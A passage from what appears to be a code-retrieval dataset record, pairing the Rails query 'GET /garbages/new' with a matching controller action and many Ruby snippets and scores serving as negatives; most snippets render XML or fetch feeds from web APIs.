DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def index\n @ganglia_graphs = GangliaGraph.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganglia_graphs }\n end\n end", "def new\n @garbage = Garbage.new(params[:garbage])\n end", "def index\n @checkpoint_removeds = CheckpointRemoved.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @checkpoint_removeds }\n end\n end", "def check\n @garbage = Garbage.new(params[:garbage])\n render :action => :new, :status => 400 and return unless @garbage.valid?\n end", "def getgpx\n trek = Trek.find_by_id(params[:id])\n send_file trek.get_gpx(), :type => \"text/xml\", :disposition => \"inline\"\n end", "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @badges }\n end\n end", "def index\n @shots = Shot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shots }\n end\n end", "def index\n @visit_stats = VisitStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visit_stats }\n end\n end", "def print_each_photo(api_key, tag)\n # Build the URI\n uri = \"http://www.flickr.com/services/rest?method=flickr.photos.search\" +\n \"&api_key=#{api_key}&tags=#{tag}\"\n\n # Make the HTTP request and get the entity-body.\n response = open(uri).read\n\n # Parse the entity-body as an XML document.\n doc = REXML::Document.new(response)\n\n # For each photo found...\n REXML::XPath.each(doc, '//photo') do |photo| \n # ...generate and print its URI\n puts small_photo_uri(photo) if photo\n end\nend", "def index\n\n @deadlines = Deadline.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @deadlines }\n end \n end", "def show\n @badge = Badge.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @badge }\n end\n end", "def index\n @tags = Tag.counts\n\n respond_to do |format|\n format.html # index.rhtml\n# format.xml { render :xml => @tags.to_xml }\n end\n end", "def index\n @graphics = Graphic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @graphics }\n end\n end", "def expired\n @classifieds = Cyberstock.expired.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @classifieds }\n end\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def get_content(mid)\r\n uri = URI.parse(\"https://www.googleapis.com/freebase/v1/rdf/\" << mid)\r\n http = Net::HTTP.new(uri.host, uri.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\r\n request = Net::HTTP::Get.new(uri.request_uri)\r\n response = http.request(request)\r\n if response.code == \"403\"\r\n response.code \r\n else\r\n response.body\r\n end\r\nend", "def index\n @revenus = @foyer.revenus\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @revenus }\n end\n end", "def get_urlposts( url )\n urlposts = []\n urlcode = Digest::MD5.hexdigest(url)\n url = \"http://feeds.delicious.com/rss/url/#{urlcode}\"\n\n response = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(response)\n\n doc.elements.each(\"//item\") do |item|\n urlposts << { \"user\" => item.elements[\"dc:creator\"].text }\n end\n\n sleep 1\n return urlposts\n end", "def index\n @refugees = Refugee.all\n end", "def index\n @exposures = Exposure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @exposures }\n end\n end", "def show\n @daily_grr = DailyGrr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @daily_grr }\n end\n end", "def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end", "def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end", "def index\n # This should never be called, just used for debugging\n @emergencies = Emergency.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @emergencies }\n end\n end", "def test2\n uri = 'http://dbhack1.nescent.org/cgi-bin/phylows.pl/phylows/tree/TB:1999'\n # @x = Net::HTTP.get_response(URI.parse(uri)).body\n @d = Nexml::Document.new(:url => uri)\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n request :get, \"_stats\"\n end", "def index\n @taggings = Tagging.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tagging }\n end\n end", "def index\n @retain_node_selectors = RetainNodeSelector.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retain_node_selectors }\n end\n end", "def destroy\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.get(params[:id])\n @ganglia_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to(ganglia_graphs_url) }\n format.xml { head :ok }\n end\n end", "def retrieve_xml_structure\n \n begin\n\n \tdh = DHHtp.new('maps.googleapis.com')\n \tdh.retrieve_xml_structure(ARGV.first)\n\n rescue => e\n \tputs \"\\nError! #{e}\\n\"\n \n end\n\t\nend", "def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def request(method, args = {})\n uri = self.class.url_for_request(method, args)\n response = nil\n begin\n timed_out = Timeout::timeout(@timeout) do\n puts \"DEBUG: requesting #{uri}\" if @debug\n response = Net::HTTP.get_response(uri)\n puts response.body if @debug\n end\n rescue Timeout::Error\n raise Timeout::Error, \n \"Catalogue of Life didn't respond within #{timeout} seconds.\"\n end\n Nokogiri::XML(response.body)\n end", "def deli_tags(uri, id)\n begin\n md5 = Digest::MD5.hexdigest(uri)\n target = \"http://badges.del.icio.us/feeds/json/url/data?hash=#{md5}\"\n json = open(target).read\n deli = JSON.load(json)[0]\n tags = \"\"\n if deli['top_tags'].class == Hash then\n all_tags = deli['top_tags'].sort_by {|k,v| v}.reverse.map{|i|i[0]}\n if all_tags.size > 8 then\n all_tags = all_tags.first(8) << '...'\n end\n tags = '(' << all_tags.join(', ') << ')'\n end\n if deli['total_posts'].to_i > 0 then\n response = \"#{id}: (deli) #{deli['total_posts']} links, tagged #{tags}\"\n $q_meta.enq response\n end\n rescue\n puts \"problem fetching deli for #{uri}\"\n end\nend", "def get_xml(url, options = {})\n\t\t\tresponse = get_file(url, options)\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\n\n elsif (doc%'achievements')\n\t\t\t return doc\n\t\t\telsif (doc%'dungeons')\n\t\t\t\treturn doc\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend", "def show\n @gene = Gene.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gene }\n end\n end", "def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end", "def index\n @goal_removeds = GoalRemoved.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @goal_removeds }\n end\n end", "def get; end", "def index\n @title=\"Listing Discharges\"\n @discharges = Discharge.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discharges }\n end\n end", "def get_digg\n\nresponse = JSON.parse(RestClient.get 'http://digg.com/api/news/popular.json')\n# puts response['data']['feed'][0]['content']['title']\n\nstories = []\n\nresponse['data']['feed'].each do |story|\n\tstory_hash = {}\n\tstory_hash[:title] = story['content']['title']\n\tstory_hash[:category] = story['content']['tags'][0]['display']\n\tcalculate_upvotes(story_hash)\n\tstories.push(story_hash)\n\tend\n\tshow_all_stories(stories)\nend", "def ping\n @status = Status.find(:first)\n respond_to do |format|\n format.html\n format.xml { render :xml => @status }\n end \n end", "def index\n @tags = Tag.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end", "def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @shorts = Short.page(params[:page])\n @view_count = Visit.count(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shorts }\n end\n end", "def show\n @gene_ontology = GeneOntology.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end", "def show\n @frequentmag = Frequentmag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @frequentmag }\n end\n end", "def list_posts(api_object)\r\n puts \"Current Post:\"\r\n doc = Nokogiri::XML.parse api_object.read\r\n contents= doc.xpath('posts/post/content').collect {|e| e.text }\r\n puts contents.join(\", \")\r\n puts \"\"\r\nend", "def index\n @mush_crawlers = MushCrawler.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mush_crawlers }\n end\n end", "def index\n @instances = Instance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @instances }\n end\n end", "def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end", "def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end", "def index\n #@gears = Gear.find(:all)\n\n @gears = Gear.paginate(:order => 'created_at DESC', \n :per_page => 10,\n :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @gears }\n end\n end", "def get_channnel_xml( url )\n path = url.sub(/http:\\/\\/gdata\\.youtube\\.com/,'')\n xml = \"\"\n\n Net::HTTP.version_1_2\n Net::HTTP.start(\"#{@url}\", \"#{@port}\") do |http|\n response = http.get(\"/#{path}\")\n xml = response.body\n end\n\n return xml\n end", "def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def show\n @checkpoint_removed = CheckpointRemoved.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @checkpoint_removed }\n end\n end", "def index\n @tags = Tag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end", "def get_userposts( user )\n posts = []\n url = \"http://feeds.delicious.com/rss/#{user}\"\n\n response = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(response)\n\n doc.elements.each(\"//item\") do |item|\n posts << { \"href\" => item.elements[\"link\"].text }\n end\n\n sleep 1\n return posts\n end", "def index\n \t@clickers = Clicker.all\t\t\t\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clickers }\n end\n end", "def get\n if(resource.exist?)\n #print_range(request)\n res = resource.get(request, response)\n if(res == OK && !resource.collection?)\n response['Etag'] = resource.etag\n response['Content-Type'] = resource.content_type\n response['Content-Length'] = resource.content_length.to_s\n response['Last-Modified'] = resource.last_modified.httpdate\n end\n res\n else\n NotFound\n end\n end", "def get_listings_xml(url)\n @client.get_content(url)\n end", "def index\n @hosts = Host.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hosts }\n end\n end", "def index\n @patient_encounters = PatientEncounter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @patient_encounters }\n end\n end", "def index\n @glossaries = Glossary.order('title')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @glossaries.to_xml }\n end\n end", "def cyberstock\n @classifieds = Cyberstock.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @classifieds }\n end\n end", "def test_get_hits_for_tag\n hits = CachedResource.get_hits_for_tag(\"good\", @paul)\n assert_equal 1, hits.length\n assert_equal \"http://resource/3/both\", hits[0]['uri']\n hits = CachedResource.get_hits_for_tag(\"bad\", nil)\n assert_equal 0, hits.length\n hits = CachedResource.get_hits_for_tag(\"bad\", @paul)\n assert_equal 0, hits.length\n hits = CachedResource.get_hits_for_tag(\"daves_tag\", @paul)\n assert_equal 0, hits.length\n hits = CachedResource.get_hits_for_tag(\"daves_tag\", @dave)\n assert_equal 1, hits.length\n assert_equal \"http://resource/2/dave\", hits[0]['uri']\n hits = CachedResource.get_hits_for_tag(\"good\", nil)\n end", "def index\n @distributions = @foyer.distributions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @distributions }\n end\n end", "def vulnerability\n query_root_node(\"gdacs:vulnerability/text()\", @@NAMESPACES)\n end", "def new\n @geocache = Geocache.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geocache }\n end\n end", "def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #TODO wonder if I should make a generic library for external url requests, to standardize the header/etc?\n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n retries = 2\n begin\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH + url, 'User-Agent' => 'WikipediaAntiSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n #retry if resp.body.to_s.empty?\n resp.body\n rescue Net::HTTPBadResponse, Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::ECONNREFUSED, SocketError, \n Timeout::Error, Errno::EINVAL, EOFError, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n if retries > 0\n retries -= 1\n retry\n else\n raise Exception.new(\"Connection timed out after more than 3 retries: #{e}\")\n end\n end\nend", "def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def stats\n @stats = time_data Episode.all\n @cloud = word_cloud Episode.pluck(:title)\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Episode.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Episode.all, :hash) }\n end\n end", "def index\n @nodes = Node.all\n @rtt = {}\n @loss = {}\n conf = Collectd::Collectd.new\n @nodes.each do |node|\n collectd_node = Collectd::CollectdNode.new(node.id.to_s(16),node.link_local_address)\n begin\n @rtt[node] = conf.stat(collectd_node,\"ping\",nil,nil).rtt_5_min\n @loss[node] = conf.stat(collectd_node,\"ping\",nil,nil).loss_5_min\n rescue Exception => e #Ignore errors in single hosts (-> missing rrd-Files for newly created ...)\n logger.error \"Unable to calculate stats: #{e}\"\n end\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json do \n data = {}\n @nodes.each do |n| \n data[n.id] = {id_hex: n.id_hex, \n loss_5_min: (@loss[n].nil? || @loss[n].nan?) ? nil : @loss[n], \n rtt_5_min: (@loss[n].nil? || @rtt[n].nan?) ? nil : @rtt[n]}\n end\n render json: data\n end\n end\n end", "def getItems\n url = 'http://b.hatena.ne.jp/sh19e/atomfeed'\n while url\n nodes = []\n puts url\n hatena = Hatena.new(url)\n nodes.unshift(hatena.getXML).flatten!\n model = Mymodel.new\n model.insertData(nodes)\n if model.isUpdate?\n puts \"Database is updated\"\n break\n end\n url = hatena.next?\n exit 1\n end\nend", "def get_xml(url, options = {})\n\t\t\t\n\t\t\t# better way of doing this?\n\t\t\t# Map custom keys to the HTTP request values\n\t\t\treqs = {\n\t\t\t\t:character_name => 'n',\n\t\t\t\t:realm => 'r',\n\t\t\t\t:search => 'searchQuery',\n\t\t\t\t:type => 'searchType',\n\t\t\t\t:guild_name => 'n',\n\t\t\t\t:item_id => 'i',\n\t\t\t\t:team_size => 'ts',\n\t\t\t\t:team_name => 't',\n\t\t\t\t:group => 'group'\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tparams = []\n\t\t\toptions.each do |key, value|\n\t\t\t\tparams << \"#{reqs[key]}=#{u(value)}\" if reqs[key]\n\t\t\tend\n\t\t\t\n\t\t\tquery = '?' + params.join('&') if params.size > 0\n\t\t\t\n\t\t\tbase = self.base_url(options[:locale], options)\n\t\t\tfull_query = base + url + query\n\t\t\t\n\t\t\tputs full_query if options[:debug]\n\t\t\t\n\t\t\tif options[:caching]\n\t\t\t\tresponse = get_cache(full_query, options)\n\t\t\telse\n\t\t\t\tresponse = http_request(full_query, options)\n\t\t\tend\n\t\t\t\t\t\t\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\nbegin\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\nrescue\nend\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend", "def index\n @asset = Asset.find(params[:asset_id])\n @tags = @asset.tags\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end", "def garbage!\n @garbage = true\n end", "def destroy\n @gig = Gig.find(params[:id])\n @gig.destroy\n\n respond_to do |format|\n format.html { redirect_to(gigs_url) }\n format.xml { head :ok }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_badge }\n end\n end", "def fetch_xml(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n\n if uri.scheme == 'https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http.read_timeout = GoogleCustomSearch.configuration.timeout\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.initialize_http_header({ 'User-Agent' => user_agent })\n\n response = http.request(request)\n\n raise GoogleCustomSearch::InvalidRequest if response.code.match(/[34]\\d{2}/)\n raise GoogleCustomSearch::ServerError if response.code.match(/5\\d{2}/)\n\n response.body\n end", "def show\n @threat = Threat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @threat }\n end\n end", "def show\n @occurence = Occurence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @occurence }\n end\n end", "def index\n @nanos = Nano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @nanos.to_xml }\n end\n end", "def content id, date = Date.today.to_s, page = 1\n uri = \"#{BASE_URL}/gauges/#{id}/content?date=#{date}&page=#{page}\"\n fetch uri\n end", "def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def changes\n respond_to do |format|\n format.xml do\n raise ::AbstractController::ActionNotFound if params[:interval].blank?\n @changes = Node.all_including_deleted(:conditions => ['updated_at > ?', Time.now - params[:interval].to_i], :order => 'updated_at DESC')\n end\n format.any(:rss, :atom) do\n @nodes = @node.last_changes(:all, { :limit => 25 })\n render :template => '/shared/changes', :layout => false\n end\n end\n end", "def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def show\n @shot = Shot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shot }\n end\n end" ]
[ "0.6078544", "0.5801877", "0.54188895", "0.53903717", "0.5386759", "0.51681507", "0.51070327", "0.5083102", "0.50804937", "0.5069457", "0.50450295", "0.504464", "0.5034735", "0.5002348", "0.499506", "0.498331", "0.49692464", "0.49654755", "0.49651444", "0.49595964", "0.49401918", "0.4925426", "0.49222797", "0.49127263", "0.49118853", "0.49072695", "0.4906777", "0.49007356", "0.48994562", "0.48945644", "0.48919517", "0.48919517", "0.48866013", "0.48864317", "0.48722312", "0.48722312", "0.48697132", "0.48605573", "0.48499337", "0.48496017", "0.4845377", "0.48445275", "0.48291034", "0.4828559", "0.48262376", "0.48248354", "0.48202938", "0.48155847", "0.48094", "0.48054868", "0.479991", "0.47978365", "0.47970432", "0.47944447", "0.47874895", "0.47815168", "0.47778714", "0.47772762", "0.47733727", "0.47723994", "0.47691032", "0.47670156", "0.4754464", "0.47524342", "0.47508112", "0.47466937", "0.47441867", "0.4743399", "0.47431827", "0.47423896", "0.47354487", "0.472308", "0.47227827", "0.4722302", "0.47215423", "0.47188804", "0.4718843", "0.47179586", "0.4717799", "0.47161645", "0.47158656", "0.47132427", "0.47093916", "0.47081912", "0.47069865", "0.47026938", "0.4701351", "0.46998805", "0.46982425", "0.4697392", "0.4695377", "0.46921423", "0.4691458", "0.46853602", "0.46810722", "0.46804553", "0.4677561", "0.4670907", "0.4666938", "0.46658915" ]
0.5322204
5
GET /garbages/new GET /garbages/new.xml
def new @garbage = Garbage.new(params[:garbage]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end", "def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @monkey }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @retain_node = RetainNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node }\n format.json { render :json => @retain_node }\n end\n end", "def new\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end", "def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end", "def new\n @geocache = Geocache.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geocache }\n end\n end", "def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud }\n end\n end", "def new\n @checkpoint_removed = CheckpointRemoved.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @checkpoint_removed }\n end\n end", "def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @badge }\n end\n end", "def new\n @bg = Bg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bg }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @gene_ontology = GeneOntology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end", "def new\n @needle = Needle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @needle }\n end\n end", "def new\n @threat = Threat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @threat }\n end\n end", "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n @frequentmag = Frequentmag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @frequentmag }\n end\n end", "def new\n @whitelist = Whitelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whitelist }\n end\n end", "def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end", "def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @old_point_tag = OldPointTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_point_tag }\n end\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @scratch = Scratch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scratch }\n end\n end", "def new\n @universe = Universe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @universe }\n end\n end", "def newX\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server }\n end\n end", "def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end", "def new\n @daily_grr = DailyGrr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @daily_grr }\n end\n end", "def new\n @goal_removed = GoalRemoved.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goal_removed }\n end\n end", "def new\n @bookmark = Bookmark.new(:tags => [Tag.new])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end", "def new\n @house = House.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @house }\n end\n end", "def new\n @bug = Bug.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bug }\n end\n end", "def new\n @bdig = Bdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bdig }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @wildlife = Wildlife.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wildlife }\n end\n end", "def new\n @colour = Colour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @colour }\n end\n end", "def new\n @shot = Shot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shot }\n end\n end", "def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @probe }\n end\n end", "def new\n @exposure = Exposure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exposure }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def show\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @garbage }\n end\n end", "def new\n @bouncer = Bouncer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bouncer }\n end\n end", "def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @press }\n end\n end", "def new\n @datafeed = Datafeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @datafeed }\n end\n end", "def new\n @feat = @person.feats.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @people = People.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n 